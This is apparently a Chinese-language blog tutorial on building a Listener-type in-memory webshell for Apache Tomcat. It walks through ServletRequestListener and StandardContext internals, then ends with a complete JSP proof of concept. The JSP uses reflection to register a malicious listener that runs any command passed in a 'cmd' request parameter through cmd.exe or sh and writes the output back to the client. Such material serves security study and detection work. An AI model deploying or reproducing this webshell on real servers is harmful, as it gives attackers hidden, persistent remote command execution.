Listener型相比Filter型来说就简单的多。
Listener是针对对象的操作的,如Session的创建,Session.setAttribute的发生,在这样的事件发生时做一些事情。
当Web应用在Web容器中运行时,Web应用内部会不断地发生各种事件:
如Web应用的启动和停止
用户Session的开始和结束等
通常这些Web事件对开发者是透明的。Listener(监听器)是观察者模式的应用,通过方法回调来实现。
Listener在Web容器启动的时候,去读取每个Web应用的Web.xml配置文件,当配置文件中配有Listener时,Web容器实例化Listener。
Listener是当某个事件发生时,调用它特定方法,如HttpSessionListener,当创建一个Session时会调用它的SessionCreated()方法,当servlet容器关闭或者重新加载Web应用时Listener对象被销毁。
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
ServletContext,服务器启动和终止时触发
Session,有关Session操作时触发
Request,访问服务时触发
其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。
Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生java.util.EvenListener。
LifecycleListener增加了生命周期管理,主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。它们多用于Tomcat初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,根据我们的输入执行命令
所以我们重点关注java.util.EvenListener,EvenListener接口本身很简单,啥也没有。
package java.util;
/**
* A tagging interface that all event listener interfaces must extend.
* @since JDK1.1
*/
public interface EventListener {
}
原生Tomcat中,有很多继承于EventListener的接口,应用于各个对象的监听,ServletRequestListener便是其中之一。
这里我们选择ServletRequestListener,因为ServletRequestListener主要用于监听ServletRequest的生成和销毁,也就是说当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。
package javax.servlet;
import java.util.EventListener;
public interface ServletRequestListener extends EventListener {
default void requestDestroyed(ServletRequestEvent sre) {
}
default void requestInitialized(ServletRequestEvent sre) {
}
}
经过上面的介绍,写一个Demo打断点看一下吧
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class ListenerDemo01 implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("ListenerDemo01 requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("ListenerDemo01 requestInitialized");
}
}
通过调用栈往上回溯一层,可以看到ListenerDemo01.requestInitialized()是被StandardContext.fireRequestInitEvent()方法调用了。
//StandardContext.java
public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) {
ServletRequestListener listener = (ServletRequestListener) instance;
try {
listener.requestInitialized(event);
} catch (Throwable t) {}
}
}
return true;
}
listener是(ServletRequestListener) instance造型过来的,而instance是遍历instances得来的,然后instances又是从getApplicationEventListeners()方法获得的。
//StandardContext.java
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
跟进getApplicationEventListeners()方法看到是将字段applicationEventListenersList转换成数组返回的。那么就很简单了。
先拿到StandardContext,然后通过addApplicationEventListener()方法向字段applicationEventListenersList加进写好的恶意Listener。
//StandardContext.java
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
//in = Runtime.getRuntime().exec(new String[]{"sh","-c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
<html>
<head>
<title>poctitle>
head>
<body>
hello poc
body>
html>
参考文章: